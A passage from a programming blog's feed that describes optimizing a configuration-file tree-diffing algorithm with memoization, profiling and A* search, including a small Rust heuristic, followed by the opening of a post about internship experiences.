&lt;p&gt;We can handle the cheaper consecutive inserts and deletes by modeling entering and leaving a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;:date-switch&lt;/code&gt; block as moves. However now we have different move sets based on if we are in or out of a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;:date-switch&lt;/code&gt; block and different costs to get to the end from a given point. We can rectify this by splitting our problem into path-finding over &lt;em&gt;two&lt;/em&gt; grids of the same size. One is our “outside” grid, where we can do the “same”, “recurse” and now also a “in” move which moves us to the same position on the other grid.&lt;/p&gt;

&lt;p&gt;On the “inside” grid we can do “insert”, “delete” and “out” moves. But that won’t quite work because if “in” and “out” both don’t make forward progress, the graph has a cycle and our search algorithm will endlessly recurse over paths going “in” and “out” at the same point. We can solve this by splitting “out” into “insert out” and “delete out”. The first two are the same as insert and delete except they also move to the “outside” grid, we also have to make sure that we don’t use the “insert” and “delete” moves to go to the bottom right of the “inside” grid, because then we’d be stuck.&lt;/p&gt;

&lt;p&gt;This gives us a set of moves that always make forward progress and share as much as possible, with this we can find the best path and that gives us an optimal diff. See the diagram below which also includes the cost of each move and an example path, although not necessarily the optimal one:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/postassets/treediff/treediffgrid.pdf&quot; target=&quot;_blank&quot;&gt;
&lt;img src=&quot;/assets/postassets/treediff/treediffgrid.png&quot; alt=&quot;Tree diff diagram&quot; /&gt;
&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Even this model is simplified, because in reality I had to handle input lists that both might have &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;:date-switch&lt;/code&gt; blocks already in them, so there were a bunch more cases and contingencies for handling existing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;:date-switch&lt;/code&gt; blocks properly. But those aren’t very interesting and the core of the algorithm is the same.&lt;/p&gt;

&lt;p&gt;So I implemented this algorithm on top of the AST manipulation framework I’d built by translating it to a memoized recursive algorithm operating on linked lists. Since the outer algorithm also involved recursion, this meant I had two kinds of recursion, which I structured using OCaml’s ability to define functions inside of other functions. I had an outer &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;scope_diffs&lt;/code&gt; function that took two lists of s-expressions and produced a list of s-expressions with differences scoped by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;:date-switch&lt;/code&gt; blocks. Inside it, I allocated two tables to memoize the results in, and defined &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;scope_suffix_diffs_inside&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;scope_suffix_diffs_outside&lt;/code&gt; functions that took indices of the start of the suffixes and mutually recursed and memoized into the tables based on the moves above.&lt;/p&gt;

&lt;p&gt;Unlike the Levenshtein difference algorithm I wanted more than just the cost, so I stored the actual scoped s-expressions up to each point in the table directly, because I was using immutable linked lists in OCaml this was memory-efficient since each entry would share structure with the entries it was built from. This way I avoided the back-tracing path reconstruction step that is frequently used with dynamic programming. In order to make the lists share structure I did have to add to the front instead of the back, but I just reversed the best resulting list before I returned it.&lt;/p&gt;

&lt;p&gt;Once I finished programming it and got it to compile, I think I only had to fix one place where I’d copy-pasted a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;+1&lt;/code&gt; where I shouldn’t have and then it worked beautifully. Finally, unlike all my heuristic attempts, I couldn’t find a case where this produced a result significantly worse than what a human would do.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Side note:&lt;/em&gt; I used to expect lots of debugging time whenever I finished a bunch of complex algorithmic code, but to my surprise I’ve found that’s rarely the case when using languages with good type systems. The compiler catches almost all small implementation errors, and since I’ve usually spent a long time thinking about all the edge cases carefully while designing the algorithm, there’s usually no serious bugs left by the time it compiles. My tests usually fail a few times, but that’s normally because I wrote the tests wrong.&lt;/p&gt;

&lt;p&gt;Unfortunately, while my new algorithm worked quite well for small files, it was very slow on large files. My mentor timed it on a few example files and fit a polynomial and discovered that it was empirically &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;O(n^3)&lt;/code&gt; (or it might have been &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;O(n^4)&lt;/code&gt; I forget) in the file size. This was unfortunate since some of the files were tens of thousands of lines long. I had to make it faster, luckily while I’d been thinking about and implementing the algorithm I’d accumulated quite a list of optimization ideas to try. But first, I decided to profile to see what the biggest costs were.&lt;/p&gt;

&lt;h2 id=&quot;profiling-and-optimizing&quot;&gt;Profiling and Optimizing&lt;/h2&gt;

&lt;h3 id=&quot;incremental-cost-computation&quot;&gt;Incremental cost computation&lt;/h3&gt;

&lt;p&gt;The first order of business was to discover why the empirical complexity was higher than we thought it should be. My mentor and I tried to come up with a proper analysis of what it should be, but given all the cases and the nested nature of trees there were just too many parameters and we couldn’t come up with anything precise. But, as far as we could tell the complexity of the underlying algorithm should have been about &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;O(n^2*log(n))&lt;/code&gt; in the length of real files.&lt;/p&gt;

&lt;p&gt;I could have looked over the implementation carefully to find all the extra unnecessary work, but an easier method was just to use the &lt;a href=&quot;https://perf.wiki.kernel.org/index.php/Main_Page&quot;&gt;Linux &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;perf&lt;/code&gt; tool&lt;/a&gt; to profile it. I knew the work that caused it to be &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;O(n^3)&lt;/code&gt; wasn’t at the outer levels of the algorithm, or I would have noticed easily, so it had to be an operation within that would show up in the profiles.&lt;/p&gt;

&lt;p&gt;Sure enough, most of the program’s time was spent in the code that computed the length/cost of an s-expression. I had a function that walked a tree and computed its total length, and in the part of the algorithm where I had to choose the lowest-cost move I computed the cost of the entire path from that point, which added an extra &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;O(n)&lt;/code&gt; inside the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;O(n^2)&lt;/code&gt; algorithm yielding &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;O(n^3)&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;In order to fix this, I made sure every cost computation was constant time, which meant I had to construct the cost of a path incrementally as it was constructed, and also not repeatedly walk trees to determine their cost.&lt;/p&gt;

&lt;p&gt;I solved this in three steps:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Create a “costed list” type which was a linked list except each item included the cost of the suffix from that point. This had a constant-time prepend operation that just added the cost of the item being prepended to the cost field of the rest of the list.&lt;/li&gt;
  &lt;li&gt;Modify the Abstract Syntax Tree (AST) data structure to include a cost field on every node, and to use a costed list for children. I also made all the AST builder functions compute the cost of their components by just adding the cost of their overhead with the costs of their child nodes or costed lists. Now both getting the cost of an AST subtree and constructing a node were constant time.&lt;/li&gt;
  &lt;li&gt;When building the path/diff/result of my algorithm I used a costed list and constructed new &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;:date-switch&lt;/code&gt; nodes using the constant-time builder API.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;After I did this, our measurements of growth were consistent with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;O(n^2*log(n))&lt;/code&gt; we were expecting.&lt;/p&gt;

&lt;h3 id=&quot;skipping-identical-prefixes-and-suffixes&quot;&gt;Skipping identical prefixes and suffixes&lt;/h3&gt;

&lt;p&gt;This was an easy but high-impact optimization I had written down earlier. By the properties of the cost of each move, if a prefix and/or suffix of the two lists was identical, the “same” move would always be the best for those parts of the path. This meant that I could find the longest prefix and suffix of the two lists that was the same and only run the dynamic programming algorithm on the middle part that wasn’t. This made the common case of edits being concentrated at a single point in the file very fast because now the running time was more like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;O(d^2*log(d)+n)&lt;/code&gt; with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;n&lt;/code&gt;being file size (large) and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;d&lt;/code&gt; being the size of the edited region (small).&lt;/p&gt;

&lt;p&gt;Now almost all common uses of the tool would return instantly except edits in multiple places spread out through a large file. It was now a pretty useful tool, but users having to know which cases to avoid to make the tool not take forever wasn’t great. It would sometimes be used in high-pressure situations and often people did want to make edits in different places, manually batching the edits up and running the tool multiple times wasn’t ideal.&lt;/p&gt;

&lt;p&gt;There was also only one or two weeks left in my internship, not much time to do another project, and I think my mentor was having fun challenging me to make the tool perfect and brainstorming how to do so with me. I was also enjoying the process, so the optimization would continue until performance improved!&lt;/p&gt;

&lt;h3 id=&quot;tree-creation-optimization&quot;&gt;Tree creation optimization&lt;/h3&gt;

&lt;p&gt;Profiling indicated a lot of time was spent creating &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;:date-switch&lt;/code&gt; AST nodes.&lt;/p&gt;

&lt;p&gt;First I wrote a fast-path method of creating and computing cost for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;:date-switch&lt;/code&gt; blocks the algorithm creates since they use a simpler format and a known indentation style than the more general AST construction builder uses.&lt;/p&gt;

&lt;p&gt;Additionally, when exploring paths in the “inside :date-switch” table, I used to create a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;:date-switch&lt;/code&gt; node whenever I needed to know the cost so far to decide between moves. Instead, I switched to just adding the costs of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;insert&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;delete&lt;/code&gt; branches (which were costed lists), to a known overhead of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;:date-switch&lt;/code&gt; block. I only created the full node upon exiting to the “outside :date-switch” table.&lt;/p&gt;

&lt;p&gt;But my mentor realized this could extend even further: The search for the best path only ever needs to know the cost of a resulting path/tree, we only need the full tree for the best path at the end of the search. So I added a “lazy &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;:date-switch&lt;/code&gt;” AST node that has a stored cost computed by fast addition of the cost of the components plus a known overhead, but doesn’t actually create the node immediately and just stores an OCaml &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;lazy&lt;/code&gt; thunk that creates it if we try to serialize the result.&lt;/p&gt;

&lt;!-- ### Adaptive memoization tables

My tool was now instant in most common cases and difficult cases were over 100x faster. But, on the very largest 10,000+ line config files it would still take up to 5 minutes in the worst case if you made edits in multiple places. There were no longer any obvious hot spots in the profiles, I needed algorithmic improvements that let me search less possible paths.

But before I did that, in order for them to be effective I had to enable sparse storage of the memoization tables. I was using 2D arrays, but if I wanted to search less than `O(n^2)` states at each level I also wanted to not allocate `O(n^2)` memory.

A common approach when memoizing a recursive function is to store things in a hash table, that way you only pay for the storage of the states you actually explore. So I switched my implementation to use a hash table. Unfortunately, it was now significantly slower and profiling showed hash table lookups were the cause of the slowdown.

I thought about it and realized that I only needed the memory savings on levels of the tree with large lists, if I had two lists of 10,000 elements, a 2d array would have 100 million slots. But if the lists only had
 --&gt;
&lt;!-- ^ It turns out it&apos;s no longer in the implementation, I must have done it but realized later it didn&apos;t really help. --&gt;

&lt;h3 id=&quot;more&quot;&gt;More?&lt;/h3&gt;

&lt;p&gt;My tool was now instant in most common cases and difficult cases were over 100x faster. But, on the very largest 10,000+ line config files it would still take up to 5 minutes in the worst case if you made edits in multiple places. There were no longer any obvious hot spots in the profiles, I needed algorithmic improvements that let me search less possible paths.&lt;/p&gt;

&lt;p&gt;I looked at my list of optimization ideas and there was only one left, which I had written down early on in the process when thinking about the correspondence between dynamic programming and path finding on a grid. It was just a few characters in a Markdown note that I had saved for if I was feeling ambitious and really needed it: “A*”.&lt;/p&gt;

&lt;h2 id=&quot;path-finding&quot;&gt;Path Finding&lt;/h2&gt;

&lt;p&gt;Back when I was designing the algorithm by thinking about it as a path finding problem, I thought “hey wait, if this is a path finding problem, why not use an actual path finding algorithm?” The first thing I realized is that the memoized recursion approach I was planning on taking was just a &lt;a href=&quot;https://en.wikipedia.org/wiki/Depth-first_search&quot;&gt;depth first search&lt;/a&gt;, which can be a path finding algorithm, but not a particularly good one.&lt;/p&gt;

&lt;!-- As far as I can tell the bottom-up table-filling approach to dynamic programming corresponds most closely to [Dijkstra&apos;s Algorithm](https://en.wikipedia.org/wiki/Dijkstra%27s_algorithm), except the acyclic graph and known structure mean you don&apos;t have to manually track the visited and unvi --&gt;

&lt;p&gt;Could I use a better path finding algorithm? Breadth first search wouldn’t help much since the goal was near the maximum distance in bounds. However, &lt;a href=&quot;https://en.wikipedia.org/wiki/A*_search_algorithm&quot;&gt;A*&lt;/a&gt;, perhaps the most famous path finding algorithm, seemed like it might help, if only I could come up with a good heuristic. So I wrote it down without thinking too much and came back to it later after I had done all my other optimizations.&lt;/p&gt;

&lt;p&gt;The last time I learned A* was when I read &lt;a href=&quot;http://shop.oreilly.com/product/9780596516246.do&quot;&gt;Algorithms in a Nutshell&lt;/a&gt; (good book) years ago and all I remembered was that it needed a priority queue and a good heuristic. I had a &lt;a href=&quot;https://github.com/janestreet/core_kernel/blob/2e2bb4caedf0ca49d89735911578709434a780e2/src/heap_intf.ml&quot;&gt;Heap&lt;/a&gt; for the priority queue, but I didn’t remember how to actually implement it or what a good heuristic was, so &lt;a href=&quot;https://en.wikipedia.org/wiki/A*_search_algorithm&quot;&gt;to Wikipedia I went!&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;I learned that I needed a heuristic that never overestimated the remaining cost, and that ideally never decreased more than the cost of any move taken. One thing that satisfies those properties is the maximum of the costs of the two list suffixes from a location. This corresponds to the notion that a scoped config file that includes the contents of both config files can’t be smaller than either of the input files. This heuristic was easy to compute using the costed list representation I already had, which already has the cost of each suffix of the input lists.&lt;/p&gt;

&lt;p&gt;With a heuristic and an understanding of A* in hand, I refactored the implementation of my algorithm to work by putting successor states in a priority queue based on their cost plus the heuristic remaining cost. This required changing each instance of recursion on my table into the creation of a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;State&lt;/code&gt; structure that encompassed if I was inside or outside of a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;:date-switch&lt;/code&gt;, and the current position.&lt;/p&gt;

&lt;p&gt;I also had to make two changes to my data structures. First, since I was no longer using recursion to destructure my linked lists but was now indexing them, which is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;O(n)&lt;/code&gt;, I created arrays of the tails of my input costed lists so that random access was fast. Next, my solution still used &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;O(n^2)&lt;/code&gt; memory in all cases due to the 2D array memoization table, so I switched that to a hash table from position tuples.&lt;/p&gt;

&lt;p&gt;Profiling now showed a lot of time was then spent in hash table lookups, so I experimented with dynamically using a 2D array for small input lists (like were often found on the lower levels of the tree) and a hash table for larger input lists, but further profiling showed it didn’t increase performance much, probably because most of the lookups were in the larger lists, so I stuck with plain hash tables.&lt;/p&gt;

&lt;p&gt;After a little debugging of off-by-one errors, I ran the program on my largest test case and it finished instantly. It was so fast I was suspicious it was broken and just skipping all the work, but sure enough it worked perfectly in every case I threw at it. The cost was something like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;O(n * log(n) * e^2)&lt;/code&gt; where &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;n&lt;/code&gt; is the file size and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;e&lt;/code&gt; is the number of edits. Me and my mentor managed to think of some edge case trees where it might revert to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;O(n^2)&lt;/code&gt; behavior, and it still only scaled to config files of tens of thousands of lines rather than hundreds of thousands, but it was nearly instant for all cases that might actually occur, so it was good enough™.&lt;/p&gt;

&lt;p&gt;I spent the remaining 3 days of my internship polishing up the user interface of the tool, cleaning up the code and writing lots of doc comments explaining my algorithm. I also gave a presentation to a bunch of the other engineers telling a shorter version of the story I’ve written here. That marked the end of my internship with Jane Street and one of the most interesting algorithmic problems I’ve ever worked on, despite it being part of a tool for editing configuration files.&lt;/p&gt;

&lt;h2 id=&quot;example-implementation&quot;&gt;Example Implementation&lt;/h2&gt;

&lt;p&gt;I was curious about how the approach of turning a dynamic programming problem into an A* path finding problem scaled and how applicable it was to other problems. So, I developed &lt;a href=&quot;https://github.com/trishume/seqalign_pathing&quot;&gt;an example implementation&lt;/a&gt; of this approach in Rust for the &lt;a href=&quot;https://en.wikipedia.org/wiki/Sequence_alignment&quot;&gt;sequence alignment problem&lt;/a&gt;, which &lt;a href=&quot;https://en.wikipedia.org/wiki/Levenshtein_distance&quot;&gt;Levenshtein distance&lt;/a&gt; is a specific instance of. It’s structured for simplicity and I haven’t optimized it at all, but it’s good enough to demonstrate the asymptotic improvements.&lt;/p&gt;

&lt;p&gt;The &lt;a href=&quot;https://github.com/trishume/seqalign_pathing/blob/master/src/lib.rs&quot;&gt;core code of the algorithm&lt;/a&gt; is fairly simple and is a good demonstration of the logic required to turn a dynamic programming algorithm into an A* path finding instance. It allows you to tune the weights of insertions/deletions, mismatches and matches of characters in the two strings, so that you can change it to be Levenshtein distance or some other instance of sequence alignment.&lt;/p&gt;

&lt;p&gt;The heuristic it uses is based on splitting the remaining distance to the bottom right corner into two components: the minimum number of insertion/deletion moves necessary to get on the diagonal from the goal, and the minimum number of match moves necessary to get from that place on the diagonal to the goal. This represents the minimum possible cost required to reach the goal from any position without knowing what the actual best path is.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&lt;span class=&quot;k&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;diag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pos&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Pos&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;i32&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pos&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;.1&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;i32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pos&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;.0&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;i32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;heuristic&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pos&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Pos&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;goal&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Pos&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Score&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// find the distance to the diagonal the goal is on&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;goal_diag&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;diag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;goal&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;our_diag&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;diag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pos&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;indel_dist&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;our_diag&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;goal_diag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.abs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// find the distance left after moving to the diagonal&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;total_dist&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;max&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;goal&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;.0&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pos&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;.0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;goal&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;.1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pos&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;.1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;i32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;match_dist&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;total_dist&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;indel_dist&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;indel_dist&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;INDEL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;match_dist&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;MATCH&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;&lt;img src=&quot;/assets/postassets/treediff/heuristic.png&quot; alt=&quot;Heuristic diagram&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;discoveries&quot;&gt;Discoveries&lt;/h3&gt;

&lt;p&gt;Here’s some things I learned by fiddling with the program and timing it:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;As expected, the algorithm only tends to explore states along the diagonal of the grid, with the width of the area explored proportional to the edit distance. This suggests the running time is something like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;O((a+b) * e^2)&lt;/code&gt; where &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;a&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;b&lt;/code&gt; are the input lengths and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;e&lt;/code&gt; is the edit distance.&lt;/li&gt;
  &lt;li&gt;Running it on a 10,000 base pair gene sequence with an edit distance of 107 takes 0.26 seconds.&lt;/li&gt;
  &lt;li&gt;Running it on a 10 megabyte random text file with 1 edit near the beginning and 2 near the end takes 20 seconds and evaluates 40 million states. This is a case where with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;O(n^2)&lt;/code&gt; algorithm just allocating and zeroing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;4*10^14&lt;/code&gt; bytes of memory for a table with the naive algorithm would take forever. Demonstrating that this optimization does in fact provide an asymptotic speed up.&lt;/li&gt;
  &lt;li&gt;It’s still way slower than specialized sequence alignment implementations like &lt;a href=&quot;https://www.ncbi.nlm.nih.gov/pmc/articles/PMC5408825/&quot;&gt;Edlib&lt;/a&gt;, probably asymptotically so. These implementations use all sorts of fancy tricks including fancy algorithmic tricks, SIMD and bit vectors to eke out maximum performance for bioinformatics applications. My implementation is at least way way simpler.&lt;/li&gt;
  &lt;li&gt;Plain &lt;a href=&quot;https://en.wikipedia.org/wiki/Dijkstra%27s_algorithm&quot;&gt;Dijkstra’s algorithm&lt;/a&gt; (A* with a heuristic always returning 0) actually performs almost as well for Levenshtein distance because only edits have cost so it explores along the diagonal towards the goal along the path with less edits just because those have lower cost. However, if the problem has a cost for matching portions as well (like my original tree diffing problem) Dijkstra’s algorithm will explore in a blob expanding from the top left and be almost as slow as the naive algorithm.&lt;/li&gt;
  &lt;li&gt;With a heuristic, Levenshtein-distance like instances where only edits have cost take about the same time to run as instances like my tree-diffing problem where matching segments also have cost.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;A* is an interesting technique that’s an easy way to accelerate a class of dynamic programming problems. It definitely works on any vaguely diff or edit-distance like problem, but it might extend to even more. If you want absolute peak performance on a simple algorithm there’s probably better techniques to use, I’d start by looking at what bioinformatics people do, but if you just want something easy and flexible this seems like a good technique, and it’s not one I’ve seen done before, and Google doesn’t turn up any results. It might even be novel, or it might just be that A* is a hard term to Google for, I’m interested to hear from anybody who’s seen something like this before.&lt;/p&gt;

&lt;hr /&gt;

&lt;div class=&quot;footnotes&quot; role=&quot;doc-endnotes&quot;&gt;
  &lt;ol&gt;
    &lt;li id=&quot;fn:1&quot; role=&quot;doc-endnote&quot;&gt;
      &lt;p&gt;A great place to work, highly recommend. I did get Jane Street’s permission before divulging the algorithm I wrote for them in this post. &lt;a href=&quot;#fnref:1&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
  &lt;/ol&gt;
&lt;/div&gt;
</content>
 </entry>
 
 
 
 <entry>
   <title>Things I've Learned Doing Internships</title>
   <link href="https://thume.ca/2017/04/06/learning-through-job-diversity/"/>
   <updated>2017-04-06T00:00:00+00:00</updated>
   <id>https://thume.ca/2017/04/06/learning-through-job-diversity</id>
   <content type="html">
&lt;p&gt;I’m a student at the University of Waterloo, famous for its co-op program where students do 6 4-month work terms throughout their degree. I’ve now done &lt;a href=&quot;http://thume.ca/resume/&quot;&gt;7 internships&lt;/a&gt; both within the program and outside it. Doing internships before one graduates is a great way of experiencing lots of different teams, work environments and even cities. This has allowed me to gain a much better idea of what kind of place I want to work after I graduate. Every job has taught me something genuinely new: my model of what factors are important to my enjoyment of a job has totally changed.&lt;/p&gt;

&lt;p&gt;In this post I’ll share some of what I learned at each different company, especially the things that surprised me and went against conventional wisdom or practice.&lt;/p&gt;

&lt;h2 id=&quot;halogen-software&quot;&gt;Halogen Software&lt;/h2&gt;

&lt;p&gt;This was my first job, at a company that makes enterprise Java software for HR departments. Back then I was super enthused to have found a job, but nowadays this is the kind of place many of my friends would avoid just on the sound of it. There’s a meme in Waterloo of “Cali or bust” where students try desperately hard to get jobs in California and are very sad if they have to settle for enterprisey boring-sounding jobs.&lt;/p&gt;

&lt;p&gt;The thing is, I enjoyed this job and had fun! My coworkers were great and despite working on software many would judge to be boring I found the work engaging.&lt;/p&gt;

&lt;p&gt;At Halogen I learned that even companies that exemplify all the stereotypes of a boring company (Java, B2B, CRUD, cubicals, not in California) can be good enjoyable places to work. Just because your job isn’t at the hottest company in California doesn’t mean it will be miserable.&lt;/p&gt;

&lt;h2 id=&quot;the-eclipse-foundation&quot;&gt;The Eclipse Foundation&lt;/h2&gt;

